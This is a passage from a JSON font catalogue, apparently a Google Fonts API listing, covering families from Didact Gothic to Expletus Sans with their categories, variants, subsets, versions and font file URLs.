"lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/didactgothic/v13/ahcfv8qz1zt6hCC5G4F_P4ASpUySp0LlcyQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Diplomata", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/diplomata/v11/Cn-0JtiMXwhNwp-wKxyfYGxYrdM9Sg.ttf" } }, { "kind": "webfonts#webfont", "family": "Diplomata SC", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/diplomatasc/v8/buExpoi3ecvs3kidKgBJo2kf-P5Oaiw4cw.ttf" } }, { "kind": "webfonts#webfont", "family": "Do Hyeon", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dohyeon/v11/TwMN-I8CRRU2zM86HFE3ZwaH__-C.ttf" } }, { "kind": "webfonts#webfont", "family": "Dokdo", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dokdo/v8/esDf315XNuCBLxLo4NaMlKcH.ttf" } }, { "kind": "webfonts#webfont", "family": "Domine", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/domine/v7/L0x_DFMnlVwD4h3pAN-CTQJIg3uuXg.ttf", "regular": "http://fonts.gstatic.com/s/domine/v7/L0x8DFMnlVwD4h3RvPCmRSlUig.ttf" } }, { "kind": "webfonts#webfont", "family": "Donegal One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/donegalone/v7/m8JWjfRYea-ZnFz6fsK9FZRFRG-K3Mud.ttf" } }, { "kind": "webfonts#webfont", "family": "Doppio One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/doppioone/v7/Gg8wN5gSaBfyBw2MqCh-lgshKGpe5Fg.ttf" } }, { "kind": "webfonts#webfont", "family": "Dorsa", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dorsa/v10/yYLn0hjd0OGwqo493XCFxAnQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Dosis", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v17", "lastModified": "2020-02-05", "files": { "200": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJt7MV3BkFTq4EPw.ttf", "300": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJabMV3BkFTq4EPw.ttf", "500": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMV3BkFTq4EPw.ttf", "600": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJ6bQV3BkFTq4EPw.ttf", "700": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJ0LQV3BkFTq4EPw.ttf", "800": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJt7QV3BkFTq4EPw.ttf", "regular": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJN7MV3BkFTq4EPw.ttf" } }, { "kind": "webfonts#webfont", "family": "Dr Sugiyama", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/drsugiyama/v9/HTxoL2k4N3O9n5I1boGI7abRM4-t-g7y.ttf" } }, { "kind": "webfonts#webfont", "family": "Duru Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/durusans/v13/xn7iYH8xwmSyTvEV_HOxT_fYdN-WZw.ttf" } }, { "kind": "webfonts#webfont", "family": "Dynalight", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dynalight/v8/1Ptsg8LOU_aOmQvTsF4ISotrDfGGxA.ttf" } }, { "kind": "webfonts#webfont", "family": "EB Garamond", "category": "serif", "variants": [ "regular", "500", "600", "700", "800", "italic", "500italic", "600italic", "700italic", "800italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v13", "lastModified": "2020-02-05", "files": { "500": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-2fRUA4V-e6yHgQ.ttf", "600": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-NfNUA4V-e6yHgQ.ttf", "700": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-DPNUA4V-e6yHgQ.ttf", "800": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-a_NUA4V-e6yHgQ.ttf", "regular": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-6_RUA4V-e6yHgQ.ttf", "italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7e8QI96WamXgXFI.ttf", "500italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7eOQI96WamXgXFI.ttf", "600italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7diR496WamXgXFI.ttf", "700italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7dbR496WamXgXFI.ttf", "800italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7c8R496WamXgXFI.ttf" } }, { "kind": "webfonts#webfont", "family": "Eagle Lake", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/eaglelake/v7/ptRMTiqbbuNJDOiKj9wG5O7yKQNute8.ttf" } }, { "kind": "webfonts#webfont", "family": "East Sea Dokdo", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/eastseadokdo/v8/xfuo0Wn2V2_KanASqXSZp22m05_aGavYS18y.ttf" } }, { "kind": "webfonts#webfont", "family": "Eater", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/eater/v8/mtG04_FCK7bOvpu2u3FwsXsR.ttf" } }, { "kind": "webfonts#webfont", "family": "Economica", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/economica/v7/Qw3aZQZaHCLgIWa29ZBTjeckCnZ5dHw8iw.ttf", "regular": "http://fonts.gstatic.com/s/economica/v7/Qw3fZQZaHCLgIWa29ZBrMcgAAl1lfQ.ttf", "italic": "http://fonts.gstatic.com/s/economica/v7/Qw3ZZQZaHCLgIWa29ZBbM8IEIFh1fWUl.ttf", "700italic": "http://fonts.gstatic.com/s/economica/v7/Qw3EZQZaHCLgIWa29ZBbM_q4D3x9Vnksi4M7.ttf" } }, { "kind": "webfonts#webfont", "family": "Eczar", "category": "serif", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzXWL8t622v9WNjW.ttf", "600": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzX6KMt622v9WNjW.ttf", "700": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzWeKct622v9WNjW.ttf", "800": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzWCKst622v9WNjW.ttf", "regular": "http://fonts.gstatic.com/s/eczar/v8/BXRlvF3Pi-DLmw0iBu9y8Hf0.ttf" } }, { "kind": "webfonts#webfont", "family": "El Messiri", "category": "sans-serif", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "arabic", "cyrillic", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/elmessiri/v6/K2F3fZBRmr9vQ1pHEey6On6jJyrYYWOMluQ.ttf", "600": "http://fonts.gstatic.com/s/elmessiri/v6/K2F3fZBRmr9vQ1pHEey6OlKkJyrYYWOMluQ.ttf", "700": "http://fonts.gstatic.com/s/elmessiri/v6/K2F3fZBRmr9vQ1pHEey6OjalJyrYYWOMluQ.ttf", "regular": "http://fonts.gstatic.com/s/elmessiri/v6/K2F0fZBRmr9vQ1pHEey6AoqKAyLzfWo.ttf" } }, { "kind": "webfonts#webfont", "family": "Electrolize", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/electrolize/v8/cIf5Ma1dtE0zSiGSiED7AUEGso5tQafB.ttf" } }, { "kind": "webfonts#webfont", "family": "Elsie", "category": "display", "variants": [ "regular", "900" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "900": "http://fonts.gstatic.com/s/elsie/v9/BCaqqZABrez54x6q2-1IU6QeXSBk.ttf", "regular": "http://fonts.gstatic.com/s/elsie/v9/BCanqZABrez54yYu9slAeLgX.ttf" } }, { "kind": "webfonts#webfont", "family": "Elsie Swash Caps", "category": "display", "variants": [ "regular", "900" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "900": "http://fonts.gstatic.com/s/elsieswashcaps/v8/845ENN8xGZyVX5MVo_upKf7KnjK0RW74DG2HToawrdU.ttf", "regular": "http://fonts.gstatic.com/s/elsieswashcaps/v8/845DNN8xGZyVX5MVo_upKf7KnjK0ferVKGWsUo8.ttf" } }, { "kind": "webfonts#webfont", "family": "Emblema One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/emblemaone/v8/nKKT-GQ0F5dSY8vzG0rOEIRBHl57G_f_.ttf" } }, { "kind": "webfonts#webfont", "family": "Emilys Candy", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/emilyscandy/v7/2EbgL-1mD1Rnb0OGKudbk0y5r9xrX84JjA.ttf" } }, { "kind": "webfonts#webfont", "family": "Encode Sans", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/encodesans/v4/LDI0apOFNxEwR-Bd1O9uYPvIeeLkl7Iw6yg.ttf", "200": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPtkWMLOub458jGL.ttf", "300": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsAW8LOub458jGL.ttf", "500": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPtYWsLOub458jGL.ttf", "600": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPt0XcLOub458jGL.ttf", "700": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsQXMLOub458jGL.ttf", "800": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsMX8LOub458jGL.ttf", "900": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsoXsLOub458jGL.ttf", "regular": "http://fonts.gstatic.com/s/encodesans/v4/LDI2apOFNxEwR-Bd1O9uYMOsc-bGkqIw.ttf" } }, { "kind": "webfonts#webfont", "family": "Encode Sans Condensed", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_76_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-5a-JLQoFI2KR.ttf", "200": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-SY6pByQJKnuIFA.ttf", "300": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-LY2pByQJKnuIFA.ttf", "500": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-dYypByQJKnuIFA.ttf", "600": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-WYupByQJKnuIFA.ttf", "700": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-PYqpByQJKnuIFA.ttf", "800": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-IYmpByQJKnuIFA.ttf", "900": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-BYipByQJKnuIFA.ttf", "regular": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_16_LD37rqfuwxyIuaZhE6cRXOLtm2gfTGgaWNDw8VIw.ttf" } }, { "kind": "webfonts#webfont", "family": "Encode Sans Expanded", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mx1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpJGKQNicoAbJlw.ttf", "200": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpLqCCNIXIwSP0XD.ttf", "300": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKOCyNIXIwSP0XD.ttf", "500": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpLWCiNIXIwSP0XD.ttf", "600": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpL6DSNIXIwSP0XD.ttf", "700": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKeDCNIXIwSP0XD.ttf", "800": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKCDyNIXIwSP0XD.ttf", "900": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKmDiNIXIwSP0XD.ttf", "regular": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4m_1mF4GcnstG_Jh1QH6ac4hNLeNyeYUqoiIwdAd5Ab.ttf" } }, { "kind": "webfonts#webfont", "family": "Encode Sans Semi Condensed", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT6oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1T19MFtQ9jpVUA.ttf", "200": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1RZ1eFHbdTgTFmr.ttf", "300": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Q91uFHbdTgTFmr.ttf", "500": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Rl1-FHbdTgTFmr.ttf", "600": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1RJ0OFHbdTgTFmr.ttf", "700": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Qt0eFHbdTgTFmr.ttf", "800": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Qx0uFHbdTgTFmr.ttf", "900": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1QV0-FHbdTgTFmr.ttf", "regular": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT4oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG2yR_sVPRsjp.ttf" } }, { "kind": "webfonts#webfont", "family": "Encode Sans Semi Expanded", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8xOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM-41KwrlKXeOEA.ttf", "200": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM0IUCyDLJX6XCWU.ttf", "300": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMyYXCyDLJX6XCWU.ttf", "500": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM34WCyDLJX6XCWU.ttf", "600": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM1IRCyDLJX6XCWU.ttf", "700": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMzYQCyDLJX6XCWU.ttf", "800": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMyoTCyDLJX6XCWU.ttf", "900": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMw4SCyDLJX6XCWU.ttf", "regular": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke83OhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TC4o_LyjgOXc.ttf" } }, { "kind": "webfonts#webfont", "family": "Engagement", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/engagement/v9/x3dlckLDZbqa7RUs9MFVXNossybsHQI.ttf" } }, { "kind": "webfonts#webfont", "family": "Englebert", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/englebert/v7/xn7iYH8w2XGrC8AR4HSxT_fYdN-WZw.ttf" } }, { "kind": "webfonts#webfont", "family": "Enriqueta", "category": "serif", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-26", "files": { "500": "http://fonts.gstatic.com/s/enriqueta/v9/gokpH6L7AUFrRvV44HVrv2mHmNZEq6TTFw.ttf", "600": "http://fonts.gstatic.com/s/enriqueta/v9/gokpH6L7AUFrRvV44HVrk26HmNZEq6TTFw.ttf", "700": "http://fonts.gstatic.com/s/enriqueta/v9/gokpH6L7AUFrRvV44HVr92-HmNZEq6TTFw.ttf", "regular": "http://fonts.gstatic.com/s/enriqueta/v9/goksH6L7AUFrRvV44HVTS0CjkP1Yog.ttf" } }, { "kind": "webfonts#webfont", "family": "Erica One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ericaone/v10/WBLnrEXccV9VGrOKmGD1W0_MJMGxiQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Esteban", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/esteban/v8/r05bGLZE-bdGdN-GdOuD5jokU8E.ttf" } }, { "kind": "webfonts#webfont", "family": "Euphoria Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/euphoriascript/v8/mFTpWb0X2bLb_cx6To2B8GpKoD5ak_ZT1D8x7Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Ewert", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ewert/v7/va9I4kzO2tFODYBvS-J3kbDP.ttf" } }, { "kind": "webfonts#webfont", "family": "Exo", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900", "100italic", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v10", "lastModified": "2020-05-01", "files": { "100": "http://fonts.gstatic.com/s/exo/v10/4UaZrEtFpBI4f1ZSIK9d4LjJ4lM2CwNsOl4p5Is.ttf", "200": "http://fonts.gstatic.com/s/exo/v10/4UaZrEtFpBI4f1ZSIK9d4LjJ4tM3CwNsOl4p5Is.ttf", "300": "http://fonts.gstatic.com/s/exo/v10/4UaZrEtFpBI4f1ZSIK9d4LjJ4g03CwNsOl4p5Is.ttf", "500": "http://fonts.gstatic.com/s/exo/v10/4UaZrEtFpBI4f1ZSIK9d4LjJ4mE3CwNsOl4p5Is.ttf", "600": "http://fonts.gstatic.com/s/exo/v10/4UaZrEtFpBI4f1ZSIK9d4LjJ4o0wCwNsOl4p5Is.ttf", "700": "http://fonts.gstatic.com/s/exo/v10/4UaZrEtFpBI4f1ZSIK9d4LjJ4rQwCwNsOl4p5Is.ttf", "800": "http://fonts.gstatic.com/s/exo/v10/4UaZrEtFpBI4f1ZSIK9d4LjJ4tMwCwNsOl4p5Is.ttf", "900": "http://fonts.gstatic.com/s/exo/v10/4UaZrEtFpBI4f1ZSIK9d4LjJ4vowCwNsOl4p5Is.ttf", "regular": "http://fonts.gstatic.com/s/exo/v10/4UaZrEtFpBI4f1ZSIK9d4LjJ4lM3CwNsOl4p5Is.ttf", "100italic": "http://fonts.gstatic.com/s/exo/v10/4UafrEtFpBISdmSt-MY2ehbO95t040FmPnws9Iu-uA.ttf", "200italic": "http://fonts.gstatic.com/s/exo/v10/4UafrEtFpBISdmSt-MY2ehbO95t0Y0BmPnws9Iu-uA.ttf", "300italic": "http://fonts.gstatic.com/s/exo/v10/4UafrEtFpBISdmSt-MY2ehbO95t0vUBmPnws9Iu-uA.ttf", "italic": "http://fonts.gstatic.com/s/exo/v10/4UafrEtFpBISdmSt-MY2ehbO95t040BmPnws9Iu-uA.ttf", "500italic": "http://fonts.gstatic.com/s/exo/v10/4UafrEtFpBISdmSt-MY2ehbO95t00UBmPnws9Iu-uA.ttf", "600italic": "http://fonts.gstatic.com/s/exo/v10/4UafrEtFpBISdmSt-MY2ehbO95t0PUdmPnws9Iu-uA.ttf", "700italic": "http://fonts.gstatic.com/s/exo/v10/4UafrEtFpBISdmSt-MY2ehbO95t0BEdmPnws9Iu-uA.ttf", "800italic": "http://fonts.gstatic.com/s/exo/v10/4UafrEtFpBISdmSt-MY2ehbO95t0Y0dmPnws9Iu-uA.ttf", "900italic": "http://fonts.gstatic.com/s/exo/v10/4UafrEtFpBISdmSt-MY2ehbO95t0SkdmPnws9Iu-uA.ttf" } }, { "kind": "webfonts#webfont", "family": "Exo 2", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900", "100italic", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v8", "lastModified": "2020-03-20", "files": { "100": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jvvOcPtq-rpvLpQ.ttf", "200": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jPvKcPtq-rpvLpQ.ttf", "300": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8j4PKcPtq-rpvLpQ.ttf", "500": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jjPKcPtq-rpvLpQ.ttf", "600": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jYPWcPtq-rpvLpQ.ttf", "700": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jWfWcPtq-rpvLpQ.ttf", "800": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jPvWcPtq-rpvLpQ.ttf", "900": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jF_WcPtq-rpvLpQ.ttf", "regular": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jvvKcPtq-rpvLpQ.ttf", "100italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drF0fNC6jJ7bpQBL.ttf", "200italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drH0fdC6jJ7bpQBL.ttf", "300italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drEqfdC6jJ7bpQBL.ttf", "italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drF0fdC6jJ7bpQBL.ttf", "500italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drFGfdC6jJ7bpQBL.ttf", "600italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drGqetC6jJ7bpQBL.ttf", "700italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drGTetC6jJ7bpQBL.ttf", "800italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drH0etC6jJ7bpQBL.ttf", "900italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drHdetC6jJ7bpQBL.ttf" } }, { "kind": "webfonts#webfont", "family": "Expletus Sans", "category": "display", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/expletussans/v13/RLpkK5v5_bqufTYdnhFzDj2dfQ07n6kFUHPIFaU.ttf", "600": "http://fonts.gstatic.com/s/expletussans/v13/RLpkK5v5_bqufTYdnhFzDj2dfSE8n6kFUHPIFaU.ttf", "700": "http://fonts.gstatic.com/s/expletussans/v13/RLpkK5v5_bqufTYdnhFzDj2dfUU9n6kFUHPIFaU.ttf", "regular": 